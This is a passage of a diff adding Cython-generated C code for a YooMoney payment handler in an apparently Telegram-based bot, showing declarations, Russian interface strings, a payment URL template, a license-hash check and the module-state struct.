pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.yoomoney_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.yoomoney_pay" +extern int __pyx_module_is_main_handlers__payments__yoomoney_pay; +int __pyx_module_is_main_handlers__payments__yoomoney_pay = 0; + +/* Implementation of "handlers.payments.yoomoney_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k__2[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__3[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__4[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__6[] = "|"; +static const char __pyx_k__8[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k__9[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k__10[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; +static const char __pyx_k__12[] = "&"; +static const char __pyx_k__13[] = "\320\237\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \321\205\321\215\321\210\320\260 \320\275\320\265 \320\277\321\200\320\276\320\271\320\264\320\265\320\275\320\260"; +static const char __pyx_k__15[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__16[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__19[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__20[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__21[] = "*"; +static const char __pyx_k__22[] = "."; +static const char __pyx_k__29[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_post[] = "post"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_sha1[] = "sha1"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_label[] = "label"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_sender[] = "sender"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_codepro[] = "codepro"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_hashlib[] = "hashlib"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_amount_2[] = ", amount: "; +static const char __pyx_k_currency[] = "currency"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_datetime[] = "datetime"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_yoomoney[] = "yoomoney_"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_hexdigest[] = "hexdigest"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_sha1_hash[] = "sha1_hash"; +static const char __pyx_k_Account_ID[] = "Account ID: "; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_account_id[] = "account_id"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_yoomoney_2[] = "yoomoney"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_YOOMONEY_ID[] = "YOOMONEY_ID"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_customer_id[] = "customer_id"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_payment_url[] = "payment_url"; +static const char __pyx_k_solonet_sup[] = "\342\235\214 \320\237\320\270\321\200\320\260\321\202\321\201\320\272\320\260\321\217 \320\262\320\265\321\200\321\201\320\270\321\217, \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203 @solonet_sup."; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_user_id_str[] = "user_id_str"; +static const char __pyx_k_web_Request[] = "web.Request"; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_operation_id[] = "operation_id"; +static const char __pyx_k_pay_yoomoney[] = "pay_yoomoney"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_YOOKASSA_HASH[] = "YOOKASSA_HASH"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_expected_hash[] = "expected_hash"; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_string_to_hash[] = "string_to_hash"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_user_id_amount[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\272\320\276\320\275\320\262\320\265\321\200\321\202\320\260\321\206\320\270\320\270 user_id \320\270\320\273\320\270 amount: "; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_YOOKASSA_HASH_2[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 YOOKASSA_HASH. \320\222\321\213\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\277\321\200\320\265\321\200\320\262\320\260\320\275\320\276."; +static const char __pyx_k_YOOMONEY_ENABLE[] = "YOOMONEY_ENABLE"; +static const char __pyx_k_calculated_hash[] = "calculated_hash"; +static const char __pyx_k_inline_keyboard[] = "inline_keyboard"; +static const char __pyx_k_withdraw_amount[] = "withdraw_amount"; +static const char __pyx_k_yoomoney_amount[] = "yoomoney_amount"; +static const char __pyx_k_HASHHASHYOOKASSA[] = "HASHHASHYOOKASSA"; +static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; +static const char __pyx_k_yoomoney_webhook[] = "yoomoney_webhook"; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_notification_type[] = "notification_type"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_YOOMONEY_SECRET_KEY[] = "YOOMONEY_SECRET_KEY"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_notification_secret[] = "notification_secret"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardMarkup[] = "InlineKeyboardMarkup"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_Webhook_event_received[] = "Webhook event received: "; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_choosing_amount_yoomoney[] = "choosing_amount_yoomoney"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_enter_custom_amount_yoomoney[] = "enter_custom_amount_yoomoney"; +static const char __pyx_k_paymentType_PC_comment_label[] = "&paymentType=PC&comment=\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\261\320\260\320\273\320\260\320\275\321\201\320\260&label="; +static const char __pyx_k_Payment_succeeded_for_user_id[] = "Payment succeeded for user_id: "; +static const char __pyx_k_process_callback_pay_yoomoney[] = "process_callback_pay_yoomoney"; +static const char __pyx_k_handlers_payments_yoomoney_pay[] = "handlers.payments.yoomoney_pay"; +static const char __pyx_k_quickpay_form_shop_targets_sum[] = "&quickpay-form=shop&targets=&sum="; +static const char __pyx_k_entering_custom_amount_yoomoney[] = "entering_custom_amount_yoomoney"; +static const char __pyx_k_handlers_payments_yoomoney_pay_p[] = "handlers/payments/yoomoney_pay.py"; +static const char __pyx_k_https_yoomoney_ru_quickpay_confi[] = "https://yoomoney.ru/quickpay/confirm.xml?receiver="; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_yoomoney"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_process_callback_pay_yoomoney(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_6yoomoney_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney; + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook; + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; + PyObject *__pyx_kp_u_Account_ID; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_u_HASHHASHYOOKASSA; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u_Webhook_event_received; + PyObject *__pyx_n_s_YOOKASSA_HASH; + PyObject *__pyx_kp_u_YOOKASSA_HASH_2; + PyObject *__pyx_n_s_YOOMONEY_ENABLE; + PyObject *__pyx_n_s_YOOMONEY_ID; + PyObject *__pyx_n_s_YOOMONEY_SECRET_KEY; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__13; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_kp_u__19; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_n_s__21; + PyObject *__pyx_kp_u__22; + PyObject *__pyx_n_s__29; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_n_u__8; + PyObject *__pyx_kp_u__9; + PyObject *__pyx_n_s_account_id; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_u_amount; + PyObject *__pyx_kp_u_amount_2; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_calculated_hash; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_choosing_amount_yoomoney; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_u_codepro; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_confirm_keyboard; + PyObject *__pyx_n_u_currency; + PyObject *__pyx_n_s_customer_id; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_u_datetime; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_u_enter_custom_amount_yoomoney; + PyObject *__pyx_n_s_entering_custom_amount_yoomoney; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_payments_yoomoney_pay; + PyObject *__pyx_kp_s_handlers_payments_yoomoney_pay_p; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_n_s_hashlib; + PyObject *__pyx_n_s_hexdigest; + PyObject *__pyx_kp_u_https_yoomoney_ru_quickpay_confi; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_n_s_inline_keyboard; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_u_label; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_notification_secret; + PyObject *__pyx_n_u_notification_type; + PyObject *__pyx_n_u_operation_id; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_yoomoney; + PyObject *__pyx_kp_u_paymentType_PC_comment_label; + PyObject *__pyx_n_s_payment_url; + PyObject *__pyx_n_s_post; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_yoomoney; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_kp_u_quickpay_form_shop_targets_sum; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_u_sender; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_n_s_sha1; + PyObject *__pyx_n_s_sha1_hash; + PyObject *__pyx_n_u_sha1_hash; + PyObject *__pyx_kp_u_solonet_sup; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_s_string_to_hash; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_trial; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_kp_u_user_id_amount; + PyObject *__pyx_n_s_user_id_str; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_web; + PyObject *__pyx_kp_s_web_Request; + PyObject *__pyx_n_u_withdraw_amount; + PyObject *__pyx_n_u_yoomoney; + PyObject *__pyx_n_u_yoomoney_2; + PyObject *__pyx_n_u_yoomoney_amount; + PyObject *__pyx_n_s_yoomoney_webhook; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_200; + PyObject *__pyx_int_400; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__7; + PyObject *__pyx_tuple__17; + PyObject *__pyx_tuple__23; + PyObject *__pyx_tuple__24; + PyObject *__pyx_tuple__25; + PyObject *__pyx_tuple__26; + PyObject *__pyx_tuple__27; + PyObject *__pyx_tuple__28; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__11; + PyObject *__pyx_codeobj__14; + PyObject *__pyx_codeobj__18; +} __pyx_mstate; + +#if 